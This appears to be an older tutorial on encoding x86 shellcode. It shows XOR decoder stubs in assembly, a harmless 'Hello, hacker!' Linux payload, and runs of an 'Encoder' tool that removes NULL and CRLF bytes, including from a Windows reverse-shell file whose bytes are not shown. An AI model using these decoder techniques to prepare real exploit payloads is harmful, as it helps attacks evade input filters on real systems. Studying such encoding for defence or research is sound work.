[BITS 32]
global _start
_start:
fabs
fnstenv [esp]
pop edx
pop edx
pop edx
pop edx
sub dl, -25 ; offset from fabs -> xor buffer
short_xor_beg:
xor ecx,ecx
sub cx, -0x15F ; size of xor'd payload
short_xor_xor:
xor byte [edx], 0x99 ; the byte to xor with
inc edx
loop short_xor_xor
shellcode:
db ...........................
[BITS 32] global _start _start: jmp short getdata ; Get data pointer begin: pop ebx ; Pop the data address xor ecx,ecx ; Set up loop counter sub cx, -0x15F ; size of data payload decode: xor byte [ebx], 0x99 ; XOR inc ebx ; Increment data address loop decode ; Loop back to decode if cx > 0 jmp short codestart ; Jump into decoded code getdata: call begin ; Push the address of data in stack and jump ; to label begin codestart: ; This is where the XOR'ed shellcode begins db ..........................
;
; hello.asm -- simple non-optimized Linux/x86 shellcode
; Compile: nasm -f bin -o hello.s hello.asm
;
[BITS 32]
global _start
_start:
jmp short data ; Jump to our data section
begin:
mov eax, 4 ; syscall #4 = write()
mov ebx, 1 ; stdout
pop ecx ; Pop the data address in ecx
mov edx, 15 ; 15 bytes of data
int 0x80
mov eax, 1 ; syscall #1 = exit()
mov ebx, 0 ; status = 0
int 0x80
data:
call begin ; Call will return our data address
db "Hello, hacker!", 0x0a
NASM produces the following shellcode:
$ hexdump hello.s 0000000 1eeb 04b8 0000 bb00 0001 0000 ba59 000f 0000010 0000 80cd 01b8 0000 bb00 0000 0000 80cd 0000020 dde8 ffff 48ff 6c65 6f6c 202c 6168 6b63 0000030 7265 0a21 0000034Of course, we should eliminate all those NULLs in the code by avoiding the use of 32-bit registers. For example, instead of "mov eax,4", do "xor eax,eax; mov al,4". But in our example, the NULLs are welcome because we now have the opportunity to test Encoder.
The output (bolded) is just what we expected:
$ ./loader hello.s Loading shellcode from "hello.s"... Hello, hacker!Now, let us try to remove NULLs in the shellcode:
$ ./encoder hello.s 0x00 > h.s Encoder v0.5 - Encode NULLs and other characters out of shellcode Copyright (c) Jarkko Turkulainen 2004. All rights reserved. Read the file encoder.c for documentation. Using FNSTENV XOR decoder Using register eax for decoder Removing bytes 0x00 Reading shellcode from "hello.s" Using 0x02 for XOR ReadyEncoder has chosen byte 0x02 for XOR (see the bolded output above). Let's check the file:
$ hexdump h.s 0000000 e1d9 34d9 5824 5858 8058 e7e8 c931 8166 0000010 cce9 80ff 0230 e240 e9fa ba1c 0206 0202 0000020 03b9 0202 5b02 0db8 0202 cf02 ba82 0203 0000030 0202 02b9 0202 cf02 ea82 fddf fdfd 674a 0000040 6e6e 2e6d 6a22 6163 6769 2370 0008 000004dLooking good.. But is it still working?
$ ./loader h.s Loading shellcode from "h.s"... Hello, hacker!
C:\hack>encoder win32_reverse.s 0x00 > w.s Encoder v0.5 - Encode NULLs and other characters out of shellcode Copyright (c) Jarkko Turkulainen 2004. All rights reserved. Read the file encoder.c for documentation. Using FNSTENV XOR decoder Using register eax for decoder Removing bytes 0x00 Reading shellcode from "win32_reverse.s" Using 0x03 for XOR ReadyOK.. No NULLs there anymore. But unfortunately, Encoder chose a byte 0x03 for XOR and that might produce some other unwelcome effects.
See that unfamous 0D 0A in hex dump (CRLF)? That might break some things. We must use some other XOR value. That's where Encoder comes in picture. You don't have to worry about the XOR byte, just tell the program which bytes you want out of the shellcode. New try:
C:\hack>encoder win32_reverse.s 0x00,0x0a,0x0d > w.s Encoder v0.5 - Encode NULLs and other characters out of shellcode Copyright (c) Jarkko Turkulainen 2004. All rights reserved. Read the file encoder.c for documentation. Using FNSTENV XOR decoder Using register eax for decoder Removing bytes 0x00 0x0A 0x0D Reading shellcode from "win32_reverse.s" Using 0x13 for XOR ReadyFinally, XOR byte 0x13 produces a desired shellcode:
.